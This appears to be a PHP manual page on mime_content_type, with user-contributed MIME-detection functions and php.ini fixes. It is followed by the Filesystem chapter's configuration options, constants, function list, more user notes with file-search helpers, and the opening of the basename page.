            'png' => 'image/png',
            'jpe' => 'image/jpeg',
            'jpeg' => 'image/jpeg',
            'jpg' => 'image/jpeg',
            'gif' => 'image/gif',
            'bmp' => 'image/bmp',
            'ico' => 'image/vnd.microsoft.icon',
            'tiff' => 'image/tiff',
            'tif' => 'image/tiff',
            'svg' => 'image/svg+xml',
            'svgz' => 'image/svg+xml',

            // archives
            'zip' => 'application/zip',
            'rar' => 'application/x-rar-compressed',
            'exe' => 'application/x-msdownload',
            'msi' => 'application/x-msdownload',
            'cab' => 'application/vnd.ms-cab-compressed',

            // audio/video
            'mp3' => 'audio/mpeg',
            'qt' => 'video/quicktime',
            'mov' => 'video/quicktime',

            // adobe
            'pdf' => 'application/pdf',
            'psd' => 'image/vnd.adobe.photoshop',
            'ai' => 'application/postscript',
            'eps' => 'application/postscript',
            'ps' => 'application/postscript',

            // ms office
            'doc' => 'application/msword',
            'rtf' => 'application/rtf',
            'xls' => 'application/vnd.ms-excel',
            'ppt' => 'application/vnd.ms-powerpoint',

            // open office
            'odt' => 'application/vnd.oasis.opendocument.text',
            'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
        );

        $ext = strtolower(array_pop(explode('.',$filename)));
        if (array_key_exists($ext, $mime_types)) {
            return $mime_types[$ext];
        }
        elseif (function_exists('finfo_open')) {
            $finfo = finfo_open(FILEINFO_MIME);
            $mimetype = finfo_file($finfo, $filename);
            finfo_close($finfo);
            return $mimetype;
        }
        else {
            return 'application/octet-stream';
        }
    }
}
?>
geompse 22-Sep-2008 08:46
Lukas V is IMO missing some point. The MIME type of a file may not be corresponding to the file suffix.

Imagine someone would obfuscate some PHP code in a .gif file, the file suffix would be 'GIF' but the MIME would be text/plain or even text/html.

Another example is files fetched via a distant server (wget / fopen / file / fsockopen...). The server can issue an error, i.e. 404 Not Found, wich again is text/html, whatever you save the file to (download_archive.rar).

His provided function should begin by the test of the function existancy like :

function MIMEalternative($file)
{
    if(function_exists('mime_content_type'))
        return mime_content_type($file);
    else
        return <lukas_v.MIMEfunction>($file);
}
Curtiss 19-Sep-2008 03:25
I'm not sure if anyone is still using the functions shown below (I'm guessing someone must still be, since the latest update to the functions was made a few months ago), but I think you'd be better off using an explode statement rather than the regex shown in most of the functions to find the filesuffix.

The regex shown is only going to catch files with extensions between 2 and 4 characters. While filenames with more or less than that are extremely rare, they do exist. If you open the regex up to start accepting those types of things, however, you're making your life complicated for no reason.

In addition, I don't see the need for the overhead produced by the preg_match function when you could just use the explode and array_pop functions together.

If you explode the filename, using the dot as a separator, you can simply pop the last element off of the array to get the real file extension, no matter how short or long it is, without the overhead of a regex (unless one of those functions calls a regex in the background of which I'm not aware).

Therefore, where the regex would return no results on something like:
/var/www/html/example.backup
or
/var/www/html/example-program.c

the explode function would simply split it wherever it finds a dot and you can pop the last one off:

<?php
$filename = '/var/www/html/example.backup';
$finfo = explode('.',$filename);
$fileSuffix = array_pop($finfo);
?>

Then, to put the rest of the file name back together, you can use the implode function on the remainder of the finfo array. Alternatively, when putting the rest of the file name back together, you could use the str_replace function to replace the dot and the extension with nothing, but then you run the rare risk of removing the same string from the middle of the file name somewhere (not very likely, but possible nonetheless).

Also, on a side note, the last function example is going to return the wrong value if the file extension is not in the list and the mime_content_type function exists. Because that part of the function re-sets the $fileSuffix variable, without returning a value, the function is going to move on to the next statement, which is only going to return the first letter of whatever was returned by the mime_content_type function.

Instead of reading:
<?php
            if(function_exists("mime_content_type"))
            {
                $fileSuffix = mime_content_type($filename);
            }
?>
it should read:
<?php
            if(function_exists("mime_content_type"))
            {
                return mime_content_type($filename);
            }
?>
php [spat] hm2k.org 21-Aug-2008 07:52
I also had issues with this function.

The issue was that it would almost always return "text/plain".

echo ini_get('mime_magic.magicfile'); // returns /etc/httpd/conf/magic

I found that I needed the OS' magic.mime file instead.

You can either copy it to the existing location, or update your php.ini, you cannot use ini_set().

[root@blade conf]# mv magic magic.old
[root@blade conf]# cp /usr/share/magic.mime magic
[root@blade conf]# apachectl graceful

Note: you will see that I have gracefully restarted apache to ensure it has taken affect.
lukas v 10-Jul-2008 02:57
I cleaned up and compiled together code from different people here below. This code returns "unknown/<filesuffix>" if it can't something better.

<?php
    function returnMIMEType($filename)
    {
        preg_match("|\.([a-z0-9]{2,4})$|i", $filename, $fileSuffix);

        switch(strtolower($fileSuffix[1]))
        {
            case "js" :
                return "application/x-javascript";

            case "json" :
                return "application/json";

            case "jpg" :
            case "jpeg" :
            case "jpe" :
                return "image/jpg";

            case "png" :
            case "gif" :
            case "bmp" :
            case "tiff" :
                return "image/".strtolower($fileSuffix[1]);

            case "css" :
                return "text/css";

            case "xml" :
                return "application/xml";

            case "doc" :
            case "docx" :
                return "application/msword";

            case "xls" :
            case "xlt" :
            case "xlm" :
            case "xld" :
            case "xla" :
            case "xlc" :
            case "xlw" :
            case "xll" :
                return "application/vnd.ms-excel";

            case "ppt" :
            case "pps" :
                return "application/vnd.ms-powerpoint";

            case "rtf" :
                return "application/rtf";

            case "pdf" :
                return "application/pdf";

            case "html" :
            case "htm" :
            case "php" :
                return "text/html";

            case "txt" :
                return "text/plain";

            case "mpeg" :
            case "mpg" :
            case "mpe" :
                return "video/mpeg";

            case "mp3" :
                return "audio/mpeg3";

            case "wav" :
                return "audio/wav";

            case "aiff" :
            case "aif" :
                return "audio/aiff";

            case "avi" :
                return "video/msvideo";

            case "wmv" :
                return "video/x-ms-wmv";

            case "mov" :
                return "video/quicktime";

            case "zip" :
                return "application/zip";

            case "tar" :
                return "application/x-tar";

            case "swf" :
                return "application/x-shockwave-flash";

            default :
            if(function_exists("mime_content_type"))
            {
                $fileSuffix = mime_content_type($filename);
            }

            return "unknown/" . trim($fileSuffix[0], ".");
        }
    }
?>
MKoper 01-Jul-2008 10:29
Regarding serkanyersen's example, i extended the extensions list

case "js":
                return "application/x-javascript";
            case "json":
                return "application/json";
            case "jpg":
            case "jpeg":
            case "jpe":
                return "image/jpg";
            case "png":
            case "gif":
            case "bmp":
            case "tiff":
                return "image/".strtolower($matches[1]);
            case "css":
                return "text/css";
            case "xml":
                return "application/xml";
            case "doc":
            case "docx":
                return "application/msword";
            case "xls":
            case "xlt":
            case "xlm":
            case "xld":
            case "xla":
            case "xlc":
            case "xlw":
            case "xll":
                return "application/vnd.ms-excel";
            case "ppt":
            case "pps":
                return "application/vnd.ms-powerpoint";
            case "rtf":
                return "application/rtf";
            case "pdf":
                return "application/pdf";
            case "html":
            case "htm":
            case "php":
                return "text/html";
            case "txt":
                return "text/plain";
            case "mpeg":
            case "mpg":
            case "mpe"
                return "video/mpeg";
            case "mp3":
                return "audio/mpeg3";
            case "wav":
                return "audio/wav";
            case "aiff":
            case "aif":
                return "audio/aiff";
            case "avi":
                return "video/msvideo";
            case "wmv":
                return "video/x-ms-wmv";
            case "mov":
                return "video/quicktime";
            case "zip":
                return "application/zip";
            case "tar":
                return "application/x-tar";
            case "swf":
                return "application/x-shockwave-flash";
memi aet liip doet ch 06-Jun-2008 11:59
Regarding serkanyersen's example : It is advisable to change the regular expression to something more precise like

preg_match("|\.([a-z0-9]{2,4})$|i", $filename, $m);

This makes sure that only the last few characters are taken. The original expression would not work if the filename is a relative path.
serkanyersen 29-Apr-2008 05:22
I've written an alternative for this. Not necessarily tested but it works OK on my server.

I hope this helps

<?php
/**
 * Tries to get mime data of the file.
 * @return {String} mime-type of the given file
 * @param $filename String
 */
function get_mime($filename){
    preg_match("/\.(.*?)$/", $filename, $m);    # Get File extension for a better match
    switch(strtolower($m[1])){
        case "js": return "application/javascript";
        case "json": return "application/json";
        case "jpg": case "jpeg": case "jpe": return "image/jpg";
        case "png": case "gif": case "bmp": return "image/".strtolower($m[1]);
        case "css": return "text/css";
        case "xml": return "application/xml";
        case "html": case "htm": case "php": return "text/html";
        default:
            if(function_exists("mime_content_type")){ # if mime_content_type exists use it.
               $m = mime_content_type($filename);
            }else if(function_exists("")){    # if Pecl installed use it
               $finfo = finfo_open(FILEINFO_MIME);
               $m = finfo_file($finfo, $filename);
               finfo_close($finfo);
            }else{    # if nothing left try shell
               if(strstr($_SERVER[HTTP_USER_AGENT], "Windows")){ # Nothing to do on windows
                   return ""; # Blank mime display most files correctly especially images.
               }
               if(strstr($_SERVER[HTTP_USER_AGENT], "Macintosh")){ # Correct output on macs
                   $m = trim(exec('file -b --mime '.escapeshellarg($filename)));
               }else{    # Regular unix systems
                   $m = trim(exec('file -bi '.escapeshellarg($filename)));
               }
            }
            $m = split(";", $m);
            return trim($m[0]);
    }
}
?>
mami at madagascarsurlenet dot com 14-Nov-2007 07:58
Since I enabled the mime_magic extension on my IIS, I also got the error message "invalid magic file, disabled" in my phpinfo. After I add these lines to my php.ini, the message disappeared and it works great!

mime_magic.debug = Off
mime_magic.magicfile ="D:\PHP5\extras\magic.mime"

mime_magic.debug is by default off but without this line it fails. I'm using PHP 5.2.5.
Sune Jensen 29-Aug-2007 06:16
For me mime_content_type didn't work in Linux before I added

mime_magic.magicfile = "/usr/share/magic.mime"

to php.ini (remember to find the correct path to mime.magic)
dt at php dot net 14-Jun-2007 05:18
<?php
if (!function_exists('mime_content_type ')) {
    function mime_content_type($filename) {
        $finfo    = finfo_open(FILEINFO_MIME);
        $mimetype = finfo_file($finfo, $filename);
        finfo_close($finfo);
        return $mimetype;
    }
}
?>
Quis at IHAVEGOTSPAMENOUGH dot omicidio dot nl 12-Feb-2007 06:28
<?PHP
  function qmimetype($file) {
    $ext=array_pop(explode('.',$file));
    foreach(file('/usr/local/etc/apache22/mime.types') as $line)
      if(preg_match('/^([^#]\S+)\s+.*'.$ext.'.*$/',$line,$m))
        return $m[1];
    return 'application/octet-stream';
  }
?>

Not perfect, but works good enough for me ;)
tree2054 using hotmail 04-Nov-2006 02:59
The correct little correction:

exec will return the mime with a newline at the end, the trim() should be called with the result of exec, not the other way around.

<?php

if ( ! function_exists ( 'mime_content_type ' ) )
{
   function mime_content_type ( $f )
   {
       return trim ( exec ('file -bi ' . escapeshellarg ( $f ) ) ) ;
   }
}

?>
16-Oct-2006 04:06
if you use a transparent 'spacer' GIF i've found it needs to be a around 25x25 for it to register as 'image/gif'. otherwise it's read in as 'text/plain'.
webmaster at cafe-clope dot net 23-Feb-2006 02:31
Completing <some dude AT somewhere DOT com> comment:

0 string < ? php application/x-httpd-php

and string detection on text files may fail if you check a file encoded with signed UTF-8. The UTF-8 signature is a two bytes code (0xFF 0xFE) that prepends the file in order to force UTF-8 recognition (you may check it on an hexadecimal editor).
some dude AT somewhere DOT com 07-Oct-2005 06:44
I added these two lines to my magic.mime file:

0 string \<?php application/x-httpd-php
0 string \<?xml text/xml

The first one may not work if "<?php" is not at the very beginning of your file, e.g., if some HTML preceeds the first bit of PHP code. The second one should work because "<?xml" *should* be the first thing in every XML file.
ginnsu at arcee dot ca 09-Mar-2005 07:14
The function mime_content_type only worked for me on Microsoft Windows after I added the directive "mime_magic.debug" to my php.ini with the value of "On". The default value appears to be "Off". Exampe:

[mime_magic]
mime_magic.debug = On
mime_magic.magicfile = "c:\php\extras\magic.mime"


Filesystem

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Filesystem Functions
    • basename — Returns trailing name component of path
    • chgrp — Changes file group
    • chmod — Changes file mode
    • chown — Changes file owner
    • clearstatcache — Clears file status cache
    • copy — Copies file
    • delete — See unlink or unset
    • dirname — Returns parent directory's path
    • disk_free_space — Returns available space on filesystem or disk partition
    • disk_total_space — Returns the total size of a filesystem or disk partition
    • diskfreespace — Alias of disk_free_space
    • fclose — Closes an open file pointer
    • feof — Tests for end-of-file on a file pointer
    • fflush — Flushes the output to a file
    • fgetc — Gets character from file pointer
    • fgetcsv — Gets line from file pointer and parse for CSV fields
    • fgets — Gets line from file pointer
    • fgetss — Gets line from file pointer and strip HTML tags
    • file_exists — Checks whether a file or directory exists
    • file_get_contents — Reads entire file into a string
    • file_put_contents — Write a string to a file
    • file — Reads entire file into an array
    • fileatime — Gets last access time of file
    • filectime — Gets inode change time of file
    • filegroup — Gets file group
    • fileinode — Gets file inode
    • filemtime — Gets file modification time
    • fileowner — Gets file owner
    • fileperms — Gets file permissions
    • filesize — Gets file size
    • filetype — Gets file type
    • flock — Portable advisory file locking
    • fnmatch — Match filename against a pattern
    • fopen — Opens file or URL
    • fpassthru — Output all remaining data on a file pointer
    • fputcsv — Format line as CSV and write to file pointer
    • fputs — Alias of fwrite
    • fread — Binary-safe file read
    • fscanf — Parses input from a file according to a format
    • fseek — Seeks on a file pointer
    • fstat — Gets information about a file using an open file pointer
    • ftell — Returns the current position of the file read/write pointer
    • ftruncate — Truncates a file to a given length
    • fwrite — Binary-safe file write
    • glob — Find pathnames matching a pattern
    • is_dir — Tells whether the filename is a directory
    • is_executable — Tells whether the filename is executable
    • is_file — Tells whether the filename is a regular file
    • is_link — Tells whether the filename is a symbolic link
    • is_readable — Tells whether a file exists and is readable
    • is_uploaded_file — Tells whether the file was uploaded via HTTP POST
    • is_writable — Tells whether the filename is writable
    • is_writeable — Alias of is_writable
    • lchgrp — Changes group ownership of symlink
    • lchown — Changes user ownership of symlink
    • link — Create a hard link
    • linkinfo — Gets information about a link
    • lstat — Gives information about a file or symbolic link
    • mkdir — Makes directory
    • move_uploaded_file — Moves an uploaded file to a new location
    • parse_ini_file — Parse a configuration file
    • parse_ini_string — Parse a configuration string
    • pathinfo — Returns information about a file path
    • pclose — Closes process file pointer
    • popen — Opens process file pointer
    • readfile — Outputs a file
    • readlink — Returns the target of a symbolic link
    • realpath_cache_get — Get realpath cache entries
    • realpath_cache_size — Get realpath cache size
    • realpath — Returns canonicalized absolute pathname
    • rename — Renames a file or directory
    • rewind — Rewind the position of a file pointer
    • rmdir — Removes directory
    • set_file_buffer — Alias of stream_set_write_buffer
    • stat — Gives information about a file
    • symlink — Creates a symbolic link
    • tempnam — Create file with unique file name
    • tmpfile — Creates a temporary file
    • touch — Sets access and modification time of file
    • umask — Changes the current umask
    • unlink — Deletes a file

User Contributed Notes

There are no user contributed notes for this page.


Introduction

No external libraries are needed to build this extension, but if you want PHP to support LFS (large files) on Linux, then you need to have a recent glibc and you need compile PHP with the following compiler flags: -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Filesystem and Streams Configuration Options
Name | Default | Changeable | Changelog
allow_url_fopen | "1" | PHP_INI_SYSTEM | PHP_INI_ALL in PHP <= 4.3.4. Available since PHP 4.0.4.
allow_url_include | "0" | PHP_INI_SYSTEM | Available since PHP 5.2.0.
user_agent | NULL | PHP_INI_ALL | Available since PHP 4.3.0.
default_socket_timeout | "60" | PHP_INI_ALL | Available since PHP 4.3.0.
from | "" | PHP_INI_ALL |
auto_detect_line_endings | "0" | PHP_INI_ALL | Available since PHP 4.3.0.

Here's a short explanation of the configuration directives.

allow_url_fopen boolean

This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers.

Note:

This option was introduced immediately after the release of version 4.0.3. For versions up to and including 4.0.3 you can only disable this feature at compile time by using the configuration switch --disable-url-fopen-wrapper.

Warning

On Windows versions prior to PHP 4.3.0, the following functions do not support remote file accessing: include, include_once, require, require_once and the imagecreatefromXXX functions in the GD and Image Functions extension.

allow_url_include boolean

This option allows the use of URL-aware fopen wrappers with the following functions: include, include_once, require, require_once.

Note:

This setting requires allow_url_fopen to be on.

user_agent string

Define the user agent for PHP to send.

default_socket_timeout integer

Default timeout (in seconds) for socket based streams.

Note: This configuration option was introduced in PHP 4.3.0

from string

The email address to be used on unauthenticated FTP connections and as the value of From header for HTTP connections, when using the ftp and http wrappers, respectively.

auto_detect_line_endings boolean

When turned on, PHP will examine the data read by fgets() and file() to see if it is using Unix, MS-Dos or Macintosh line-ending conventions.

This enables PHP to interoperate with Macintosh systems, but defaults to Off, as there is a very small performance penalty when detecting the EOL conventions for the first line, and also because people using carriage-returns as item separators under Unix systems would experience non-backwards-compatible behaviour.

Note: This configuration option was introduced in PHP 4.3.0

User Contributed Notes

Pistachio 01-Feb-2012 06:53
I'm surprised this isn't mentioned in docs here, but to set these values at runtime use "ini_set()". For example:

<?php
ini_set("auto_detect_line_endings", true);

// Now I can invoke fgets() on files that contain silly \r line endings.
?>
Snow IT 17-Mar-2011 09:16
Just a quick note: setting default_socket_timeout to zero causes file_get_contents(<url>) to immediately fail.

We were under the (false) impression that zero meant never time out.


Resource Types

The file system uses streams as their resource type. Streams are documented in its own reference chapter, Streams.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SEEK_SET (integer)
SEEK_CUR (integer)
SEEK_END (integer)
LOCK_SH (integer)
LOCK_EX (integer)
LOCK_UN (integer)
LOCK_NB (integer)
GLOB_BRACE (integer)
GLOB_ONLYDIR (integer)
GLOB_MARK (integer)
GLOB_NOSORT (integer)
GLOB_NOCHECK (integer)
GLOB_NOESCAPE (integer)
GLOB_AVAILABLE_FLAGS (integer)
PATHINFO_DIRNAME (integer)
PATHINFO_BASENAME (integer)
PATHINFO_EXTENSION (integer)
PATHINFO_FILENAME (integer)
Since PHP 5.2.0.
FILE_USE_INCLUDE_PATH (integer)
Search for filename in include_path (since PHP 5).
FILE_NO_DEFAULT_CONTEXT (integer)
FILE_APPEND (integer)
Append content to existing file.
FILE_IGNORE_NEW_LINES (integer)
Strip EOL characters (since PHP 5).
FILE_SKIP_EMPTY_LINES (integer)
Skip empty lines (since PHP 5).
FILE_BINARY (integer)

Binary mode (since PHP 5.2.7).

Note:

This constant has no effect, and is only available for forward compatibility.

FILE_TEXT (integer)

Text mode (since PHP 5.2.7).

Note:

This constant has no effect, and is only available for forward compatibility.

INI_SCANNER_NORMAL (integer)
Normal INI scanner mode (since PHP 5.3).
INI_SCANNER_RAW (integer)
Raw INI scanner mode (since PHP 5.3).
FNM_NOESCAPE (integer)
Disable backslash escaping.
FNM_PATHNAME (integer)
Slash in string only matches slash in the given pattern.
FNM_PERIOD (integer)
Leading period in string must be exactly matched by period in the given pattern.
FNM_CASEFOLD (integer)
Caseless match. Part of the GNU extension.

User Contributed Notes

There are no user contributed notes for this page.


Filesystem Functions

See Also

For related functions, see also the Directory and Program Execution sections.

For a list and explanation of the various URL wrappers that can be used as remote files, see also Supported Protocols and Wrappers.

Table of Contents

  • basename — Returns trailing name component of path
  • chgrp — Changes file group
  • chmod — Changes file mode
  • chown — Changes file owner
  • clearstatcache — Clears file status cache
  • copy — Copies file
  • delete — See unlink or unset
  • dirname — Returns parent directory's path
  • disk_free_space — Returns available space on filesystem or disk partition
  • disk_total_space — Returns the total size of a filesystem or disk partition
  • diskfreespace — Alias of disk_free_space
  • fclose — Closes an open file pointer
  • feof — Tests for end-of-file on a file pointer
  • fflush — Flushes the output to a file
  • fgetc — Gets character from file pointer
  • fgetcsv — Gets line from file pointer and parse for CSV fields
  • fgets — Gets line from file pointer
  • fgetss — Gets line from file pointer and strip HTML tags
  • file_exists — Checks whether a file or directory exists
  • file_get_contents — Reads entire file into a string
  • file_put_contents — Write a string to a file
  • file — Reads entire file into an array
  • fileatime — Gets last access time of file
  • filectime — Gets inode change time of file
  • filegroup — Gets file group
  • fileinode — Gets file inode
  • filemtime — Gets file modification time
  • fileowner — Gets file owner
  • fileperms — Gets file permissions
  • filesize — Gets file size
  • filetype — Gets file type
  • flock — Portable advisory file locking
  • fnmatch — Match filename against a pattern
  • fopen — Opens file or URL
  • fpassthru — Output all remaining data on a file pointer
  • fputcsv — Format line as CSV and write to file pointer
  • fputs — Alias of fwrite
  • fread — Binary-safe file read
  • fscanf — Parses input from a file according to a format
  • fseek — Seeks on a file pointer
  • fstat — Gets information about a file using an open file pointer
  • ftell — Returns the current position of the file read/write pointer
  • ftruncate — Truncates a file to a given length
  • fwrite — Binary-safe file write
  • glob — Find pathnames matching a pattern
  • is_dir — Tells whether the filename is a directory
  • is_executable — Tells whether the filename is executable
  • is_file — Tells whether the filename is a regular file
  • is_link — Tells whether the filename is a symbolic link
  • is_readable — Tells whether a file exists and is readable
  • is_uploaded_file — Tells whether the file was uploaded via HTTP POST
  • is_writable — Tells whether the filename is writable
  • is_writeable — Alias of is_writable
  • lchgrp — Changes group ownership of symlink
  • lchown — Changes user ownership of symlink
  • link — Create a hard link
  • linkinfo — Gets information about a link
  • lstat — Gives information about a file or symbolic link
  • mkdir — Makes directory
  • move_uploaded_file — Moves an uploaded file to a new location
  • parse_ini_file — Parse a configuration file
  • parse_ini_string — Parse a configuration string
  • pathinfo — Returns information about a file path
  • pclose — Closes process file pointer
  • popen — Opens process file pointer
  • readfile — Outputs a file
  • readlink — Returns the target of a symbolic link
  • realpath_cache_get — Get realpath cache entries
  • realpath_cache_size — Get realpath cache size
  • realpath — Returns canonicalized absolute pathname
  • rename — Renames a file or directory
  • rewind — Rewind the position of a file pointer
  • rmdir — Removes directory
  • set_file_buffer — Alias of stream_set_write_buffer
  • stat — Gives information about a file
  • symlink — Creates a symbolic link
  • tempnam — Create file with unique file name
  • tmpfile — Creates a temporary file
  • touch — Sets access and modification time of file
  • umask — Changes the current umask
  • unlink — Deletes a file

User Contributed Notes

ob at babcom dot biz 15-Mar-2013 12:56
a function based on "tunnelareaten at gmail dot com"s idea to search for files in a given directory by a searchstring or by fileextension.

I added support to search recursively through all sub-directories an to determine weather the filepath should be returned or not.

<?php
// recursive function to get contents of given folder by searchterm or fileextension
// (does not show folders)
// standards: Foldername:                    string
//            Searchterm:                    string
//            Searchtype:                    ext/search (file-extension or searchterm within filename)
//            SaveCompletePath:        true/1
// usage:     array FileSearch_r($Folder,$Search[,$SearchType,$SavePath])

function FileSearch_r($Dir,$Search,$SearchType="search",$SavePath=1) {
  $Array=array();
  $D=dir($Dir);
  while (false!==($Entry=$D->read()))
    if ($Entry!='.' && $Entry!='..') {
      $Entry=$Dir.$Entry;
      if (is_dir($Entry)) $Array=array_merge($Array,FileSearch_r($Entry.'/',$Search,$SearchType,$SavePath));
      else
          if ($SearchType=="search"
                      ?substr_count($Entry,$Search)>0
                      :($SearchType=="ext"
                          ?substr($Entry,-strlen($Search))===$Search
                          :true))
              $Array[]=$Entry;
    }
  $D->close();
  sort($Array,SORT_STRING);
  if(!(bool)$SavePath) $Array=str_replace($Dir,"",array_values($Array));
  return $Array;
}
?>
drapeko.com 24-May-2009 03:19
You have an array of directories (straightforward list of directories):

<?php
     $array = array(
         '/home/drapeko/var',
         '/home/drapeko/var/y',
         '/home/drapeko',
         '/home',
         '/var/libexec'
     );
     );
?>

And you would like to transform this array to hierarchy of directories:

<?php
 $array = array (
     'home' => array (
         'drapeko' => array (
             'var' => array (
                 'y' => array()
             )
         )
     ),
     'var' => array(
         'libexec' => array()
     )
 );
?>

How can you do it?

First of all the below function will help us.

<?php
/**
 * This function converts real filesystem path to the string array representation.
 *
 * for example,
 * '/home/drapeko/var/y            will be converted to    $result_array['home']['drapeko']['var']['y']
 * '/home/drapeko/var/y/file.txt   will be converted to       $result_array['home']['drapeko']['var']['y']
 *
 * @param $path         realpath of the directory
 * @return string        string array representation of the path
 */
function pathToArrayStr($path) {
     // TODO constants/configs?
     $res_path = str_replace(array(':/', ':\\', '/', '\\', DIRECTORY_SEPARATOR), '/', $path);
     // if the first or last symbol is '/' delete it (e.g. for linux)
     $res_path = preg_replace(array("/^\//", "/\/$/"), '', $res_path);
     // create string
     $res_path = '[\''.str_replace('/', '\'][\'', $res_path).'\']';

     return $res_path;
}
?>

It simply converts the real path of the file to array string representation.

How can you use this function? I know it looks like a little confusing. But it's quite simple. Consider the example below:

<?php
 $result = array();
 $check = array();
 foreach($array as $val) {
     $str = pathToArrayStr($val, 'result');
     foreach($check as $ck) {
         if (strpos($ck, $str) !== false) {
             continue 2;
         }
     }
     $check[] = $str;
     eval('$result'.$str.' = array();');
 }
print_r($result);
?>

Heh, how do you find it? This approach has helped me very much. I hope you will find it useful. :)
Christian 17-Mar-2007 06:24
I just learned that, to specify file names in a portable manner, you DON'T need 'DIRECTORY_SEPARATOR' - just use '/'. This really surprised and shocked me, as until now I typed about a zillion times 'DIRECTORY_SEPARATOR' to stay platform independent - unnecessary. Don't make the same mistake.
tunnelareaten at gmail dot com 25-Feb-2005 05:27
I made this function to search and/or display files by extension or for a string occurance in the filename. Any comments or enhancements are welcome offcourse. I'll update this function soon.

usage: list_files([string], [string], [int 1 | 0], [int 1 | 0]);

search for extension: list_files([string], [string], [0], [int 1 | 0]);
returns array: $myArray = list_files([string], [string], [0], [0]);
echo result: list_files([string], [string], [0], [1]);

search for string occurance: list_files([string], [string], [1], [int 1 | 0]);
returns array: $myArray = list_files([string], [string], [1], [0]);
echo result: list_files([string], [string], [1], [1]);

<?php

function list_files($directory, $stringSearch, $searchHandler, $outputHandler) {
 $errorHandler = false;
 $result = array();
 if (! $directoryHandler = @opendir ($directory)) {
  echo ("<pre>\nerror: directory \"$directory\" doesn't exist!\n</pre>\n");
 return $errorHandler = true;
 }
 if ($searchHandler === 0) {
  while (false !== ($fileName = @readdir ($directoryHandler))) {
   if(@substr ($fileName, - @strlen ($stringSearch)) === $stringSearch) {
    @array_push ($result, $fileName);
   }
  }
 }
 if ($searchHandler === 1) {
  while(false !== ($fileName = @readdir ($directoryHandler))) {
   if(@substr_count ($fileName, $stringSearch) > 0) {
    @array_push ($result, $fileName);
   }
  }
 }
 if (($errorHandler === true) &&  (@count ($result) === 0)) {
  echo ("<pre>\nerror: no filetype \"$fileExtension\" found!\n</pre>\n");
 }
 else {
  sort ($result);
  if ($outputHandler === 0) {
   return $result;
  }
  if ($outputHandler === 1) {
   echo ("<pre>\n");
   print_r ($result);
   echo ("</pre>\n");
  }
 }
}

?>
Gregor Mosheh 23-Aug-2003 02:23
This function searches a directory and returns an array of all files whose filename matches the specified regular expression. It's similar in concept to the Unix find program.

 function findfile($location='',$fileregex='') {
    if (!$location or !is_dir($location) or !$fileregex) {
       return false;
    }

    $matchedfiles = array();

    $all = opendir($location);
    while ($file = readdir($all)) {
       if (is_dir($location.'/'.$file) and $file <> ".." and $file <> ".") {
          $subdir_matches = findfile($location.'/'.$file,$fileregex);
          $matchedfiles = array_merge($matchedfiles,$subdir_matches);
          unset($file);
       }
       elseif (!is_dir($location.'/'.$file)) {
          if (preg_match($fileregex,$file)) {
             array_push($matchedfiles,$location.'/'.$file);
          }
       }
    }
    closedir($all);
    unset($all);
    return $matchedfiles;
 }

$htmlfiles = findfile('/some/dir','/\.(htm|html)$/');
mitra at mitra dot biz 16-May-2003 07:10
Pollard@php.net contributed this in response to a question on setting these variables ...
This option *IS* settable within your PHP scripts.
Example:

<?php
  ini_set('auto_detect_line_endings', true);
  $contents = file('unknowntype.txt');

  ini_set('auto_detect_line_endings', false);
  $content2 = file('unixfile.txt');
?>

Note, with PHP 4.3 anytime Mac files are read using fgets or file you'll need to auto_detect_line_endings since \n is otherwise assumed.  However, with PHP 5.0, stream_get_line() will allow you to specify what line ending character to read up to.

\\ Read a line from a MAC file
stream_get_line($fp, 4096, "\r");

\\ Read a line from a UNIX file
stream_get_line($fp, 4096, "\n");

\\ Read a line from a DOS file
stream_get_line($fp, 4096, "\r\n");

\\ Read a line up to any filesystem line ending
ini_set('auto_detect_line_endings', true); fgets($fp);

\\ You can also make up your own line ending characters:
\\ Read up to the first instance of ":"
stream_get_line($fp, 4096, ":");
regis at webstuff dot com dot br 03-Apr-2003 04:49
Here is a useful function if you're having trouble writing raw bytes into a file.

It receives an integer and returns an array containing the ASCII values of the bytes on each index of the array.

function int2bytes($number){
  $byte = $number;
  $i=0;
  do{
    $dec_tmp = $byte;

    $byte = bcdiv($byte,256,0);
    $resto = $dec_tmp - (256 * $byte);
    $return[] = $resto;
  } while($byte >= 256);
  if($byte) $return[] = $byte;
  return array_reverse($return);
}

Example:

$arr = int2bytes(75832);

$arr will contain the following values:
Array
(
    [0] => 1
    [1] => 40
    [2] => 56
)

Now, to write this data to the file, just use a fputs() with chr(), just like this:

fputs($fp,chr($arr[0]).chr($arr[1]).chr($arr[2]))

-- Regis
jdhurn at uberidx dot com 08-Mar-2003 04:18
This is a function I use to determine if a file contains Binary information. I use this for my search engine so that it doesn't try to index files like .zip or .mp3 or any other file that doesn't contain readable information. It makes use of the Character Type Extension if it's loaded, if it's not then it uses Regular Expressions.

function is_binary($link)
{
     $tmpStr  = '';
     @$fp     = fopen($link, 'rb');
     @$tmpStr = fread($fp, 256);
     @fclose($fp);

     if($tmpStr != '')
     {
          $tmpStr = str_replace(chr(10), '', $tmpStr);
          $tmpStr = str_replace(chr(13), '', $tmpStr);

          $tmpInt = 0;

           for($i =0; $i < strlen($tmpStr); $i++)
          {
                if( extension_loaded('ctype') )
               {
                    if( !ctype_print($tmpStr[$i]) )
                         $tmpInt++;
               }
               else
               {
                   if( !eregi("[[:print:]]+", $tmpStr[$i]) )
                         $tmpInt++;
               }
           }

           if($tmpInt > 5)
                return(0);
            else
                return(1);
     }
     else
           return(0);
}


Returns trailing name component of path

  • « Filesystem Functions
  • chgrp »
  • PHP Manual
  • Filesystem Functions
  • Returns trailing name component of path

basename

(PHP 4, PHP 5)

basename — Returns trailing name component of path

Description

string basename ( string $path [, string $suffix ] )

Given a string containing the path to a file or directory, this function will return the trailing name component.

Parameters

path

A path.

On Windows, both slash (/) and backslash (\) are used as directory separator character. In other environments, it is the forward slash (/).

suffix

If the name component ends in suffix this will also be cut off.

Return Values

Returns the base name of the given path.

Examples

Example #1 basename() example

<?php
echo "1) ".basename("/etc/sudoers.d", ".d").PHP_EOL;
